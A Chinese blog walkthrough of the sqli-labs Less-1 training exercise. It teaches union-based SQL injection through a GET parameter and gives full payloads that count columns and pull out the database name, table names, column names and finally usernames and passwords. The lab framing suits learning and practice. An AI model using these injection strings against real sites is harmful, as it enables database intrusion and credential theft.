【安全新闻】玩一玩sqli-labs靶场

page-1
Less-1 GET – Error based – Single quotes – String(基于错误的GET单引号字符型注入)
可以看到是get请求的源码中的sql语句是

【安全新闻】玩一玩sqli-labs靶场

select*from users where id=‘$id’
而$id这个变量是在get请求中产生的
http://sqli-labs.co/Less-1/?id=3
上面这条url便是发送一个get请求
实际的sql语句:select*from users where id=‘3’limit 0,1
对应着数据库的操作是

【安全新闻】玩一玩sqli-labs靶场1

查找id=3的数据
1.用sql注入显示库名
那么想知道当前的数据库是什么名字的话
就要用到sql注入了
select*from users where id=’3’union select database() –+ ’limit 0,1
完整的是上面那样
‘union select database() –+
实际需要注入的是这部分
但是发现这样写会有错误
是因为union查询需要和前面的查询columns(列数)一致才可以执行
所以用到order by排序检测,可以知道这个数据库的users表只有三列
所以’union select 1,2,database() –+
用逗号补充字段
然而发现如果用id=3的sql语句并无法输出
会出现如下画面,并无法输出当前数据库的名字

【安全新闻】玩一玩sqli-labs靶场2

但是如果让id=-1,则在数据库中是这样的
select*from users where id=’-1′ limit 0,1

【安全新闻】玩一玩sqli-labs靶场3

会得到一个空的查询数据
如果输入以下查询数据,就会查到当前数据库的名字,输出到第三个字段

【安全新闻】玩一玩sqli-labs靶场4

所以当前的库名叫security

【安全新闻】玩一玩sqli-labs靶场5

可以看到security在password的地方显示出来

【安全新闻】玩一玩sqli-labs靶场6

源码中,把查询到的字段数据打印出来,就是上面图片的形式

【安全新闻】玩一玩sqli-labs靶场7

2.使用sql语句显示出表名
在information_schema库的tables表下查找属于table_schema字段security库的table_name(表名)
table_schema字段:会显示各表的所属库的名字
group_concat 可以将所有的tables 提取出来
information_schema是mysql特有的库,存储各种数据库的信息
http://127.0.0.1/sqli-labs/Less-1/?id=-1‘ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’security’–+

【安全新闻】玩一玩sqli-labs靶场8

现在学会语句可以在靶场尝试一下

【安全新闻】玩一玩sqli-labs靶场9

查询成功
得到security数据库的所有表名显示在了password字段中

【安全新闻】玩一玩sqli-labs靶场10

3.查询表中字段
column_name:列名
table_name:表名
information_schema.columns:information_chema数据库下的columns表,该表存储了所有字段
在字段表中查询带有users关键字的表的名字并显示其表字段
?id=-1′ union select 1,2,group_concat(column_name) from information_schema.columns where table_name = ‘users’–+

【安全新闻】玩一玩sqli-labs靶场11【安全新闻】玩一玩sqli-labs靶场12

4。查询字段内容
已经知道了security库,users表,username字段,现在查询username字段的内容
security.users:security库下的users表

【安全新闻】玩一玩sqli-labs靶场13

【安全新闻】玩一玩sqli-labs靶场14

把username改成password那就是查询密码

【安全新闻】玩一玩sqli-labs靶场15

【安全新闻】玩一玩sqli-labs靶场16

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
大佬不来一句? 抢沙发

请登录后发表评论